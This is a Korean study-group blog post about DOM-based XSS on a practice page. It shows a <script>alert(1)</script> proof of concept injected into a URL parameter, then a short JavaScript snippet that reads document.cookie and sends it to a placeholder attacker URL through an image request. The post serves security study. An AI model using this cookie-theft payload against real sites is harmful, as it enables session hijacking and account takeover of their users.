[취업반 스터디 3달 2주차]

Minseok Jo·2024년 2월 18일
post-thumbnail

[3달 2주차 주제 : XSS: Dom Based & Cookie Hijacking]


1. Dom Based XSS

1) Dom Based XSS 란?

Dom Based XSS: DOM 구조를 이용하여 요소들을 수정하거나 추가하는 경우, 이 자바스크립트에 악성 스크립트를 삽입하여 클라이언트 측 브라우저에서 실행되도록 하는 공격

  • DOM Based XSS는 클라이언트 측에서 사용자 입력 값을 통해 동적 페이지를 구성하는 환경에서 발생한다.
  • 즉, 요청이 서버로 전송되지 않고 클라이언트 브라우저에서 공격이 이루어진다.

2) Dom Based XSS 찾는 과정

  1. 입력한 데이터가 그대로 출력되는 페이지 확인
  2. 객체를 생성하는 부분이나, 데이터를 가져와 가공하는 부분이 있는지 살펴보기

3) Dom Based XSS 확인 절차

1. 작성한 데이터가 그대로 출력되는 페이지 확인

(1) 실습 페이지는 다음과 같다.

(2) English를 선택하고 요청 / 응답 과정을 살펴보자.
○ default 파라미터를 통해 언어를 입력받고 있다.

(3) 파라미터에 임의의 데이터 (test) 입력
○ 작성한 데이터가 페이지에 그대로 나타나고 있다.

(★) 그러나 클라이언트 측에서 데이터를 가공하고 있기 때문에, 서버 응답에는 포함되지 않는다.


2. 객체를 생성하는 부분 / 데이터 가공하는 부분 살펴보기

(1) 개발자옵션으로 소스코드 살펴보기
○ 스크립트 태그안에서 default 파라미터 값을 가져와 DOM객체를 작성하고 있다.
● <option value="입력한 데이터의 URI값">입력한 데이터</option> 의 형태로 태그가 완성된다.
○ 따라서 입력한 데이터가 그대로 들어가는 부분은 <option> 와 </option> 사이 이므로 이 곳에 스크립트를 작성한다.


3. 클라이언트 측 스크립트 작성

(1) default 파라미터에 POC 코드 작성
○ deault에 <script>alert(1)</script> 작성

(2) 스크립트 동작 확인
○ 사진1 : 입력한 스크립트가 정상적으로 삽입된 모습
● 사진2 : 해당 URL을 요청한 결과, 브라우저에서 스크립트가 정상 실행된다.


2. XSS : 쿠키 탈취

앞선 포스트를 통해 XSS취약점을 찾고, POC코드를 실행하는 과정을 정리하였다.
이번 포스트에서는 POC코드에서 더 나아가, 쿠키값을 탈취하는 코드를 작성하고자 한다.

1. 쿠키 탈취 자바스크립트 코드

var data = document.cookie;
var i = new Image();
i.src = "URL?cookie="+data;

각 코드의 역할을 살펴보고자 한다.

(1) var data = document.cookie;
○ 해당 도메인의 쿠키값을 data 변수에 저장한다.

(2) var i = new Image();
○ 변수 i 에 이미지 태그 생성

(3) i.src = "URL?cookie="+data;
○ 생성된 img 태그의 src 속성에 공격자 페이지 작성
● 이제 지정된 경로에 get방식으로 쿠키값을 담아 전송하게 된다.

공격자 페이지 화면

해당 사이트


0개의 댓글